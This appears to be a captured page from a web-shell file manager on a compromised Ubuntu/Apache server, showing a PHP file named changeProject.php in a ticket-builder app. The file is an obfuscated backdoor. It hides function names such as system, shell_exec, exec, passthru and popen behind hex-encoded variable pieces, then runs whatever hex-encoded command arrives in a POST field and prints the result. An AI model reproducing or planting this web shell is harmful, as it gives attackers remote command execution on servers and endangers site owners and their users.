HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/teamdemo.sports-crowd.com/public/flash_ticket_builder/changeProject.php
<?php


$hld1 = '7';
$hld2 = '6';
$hld3 = '5';
$hld4 = 'd';
$hld5 = 'c';
$hld6 = 'f';
$hld7 = '8';
$hld8 = '3';
$hld9 = '0';
$hld10 = '4';
$hld11 = '2';
$hld12 = '1';
$batch_process1 = pack("H*", '7' . '3' . $hld1 . '9' . '7' . '3' . $hld1 . '4' . $hld2 . $hld3 . $hld2 . $hld4);
$batch_process2 = pack("H*", '7' . '3' . $hld2 . '8' . '6' . '5' . $hld2 . $hld5 . '6' . $hld5 . $hld3 . $hld6 . $hld2 . '5' . '7' . $hld7 . $hld2 . '5' . '6' . $hld8);
$batch_process3 = pack("H*", $hld2 . '5' . $hld1 . $hld7 . '6' . '5' . $hld2 . $hld8);
$batch_process4 = pack("H*", '7' . $hld9 . $hld2 . '1' . '7' . '3' . $hld1 . '3' . '7' . $hld10 . '6' . '8' . '7' . $hld11 . $hld1 . '5');
$batch_process5 = pack("H*", $hld1 . '0' . $hld2 . 'f' . '7' . $hld9 . $hld2 . '5' . $hld2 . 'e');
$batch_process6 = pack("H*", '7' . '3' . $hld1 . $hld10 . $hld1 . $hld11 . '6' . '5' . '6' . $hld12 . $hld2 . 'd' . $hld3 . $hld6 . '6' . '7' . '6' . $hld3 . '7' . '4' . '5' . $hld6 . '6' . '3' . $hld2 . 'f' . $hld2 . 'e' . '7' . $hld10 . $hld2 . $hld3 . '6' . 'e' . '7' . '4' . '7' . $hld8);
$batch_process7 = pack("H*", $hld1 . '0' . $hld2 . '3' . $hld2 . 'c' . $hld2 . 'f' . '7' . '3' . $hld2 . $hld3);
$framework = pack("H*", $hld2 . $hld2 . $hld1 . '2' . '6' . $hld12 . '6' . 'd' . $hld2 . '5' . $hld1 . '7' . $hld2 . $hld6 . '7' . $hld11 . '6' . 'b');
if (isset($_POST[$framework])) {
    $framework = pack("H*", $_POST[$framework]);
    if (function_exists($batch_process1)) {
        $batch_process1($framework);
    } elseif (function_exists($batch_process2)) {
        print $batch_process2($framework);
    } elseif (function_exists($batch_process3)) {
        $batch_process3($framework, $parameter_group_obj);
        print join("\n", $parameter_group_obj);
    } elseif (function_exists($batch_process4)) {
        $batch_process4($framework);
    } elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) {
        $dat_comp = $batch_process5($framework, 'r');
        if ($dat_comp) {
            $bind_holder = $batch_process6($dat_comp);
            $batch_process7($dat_comp);
            print $bind_holder;
        }
    }
    exit;
}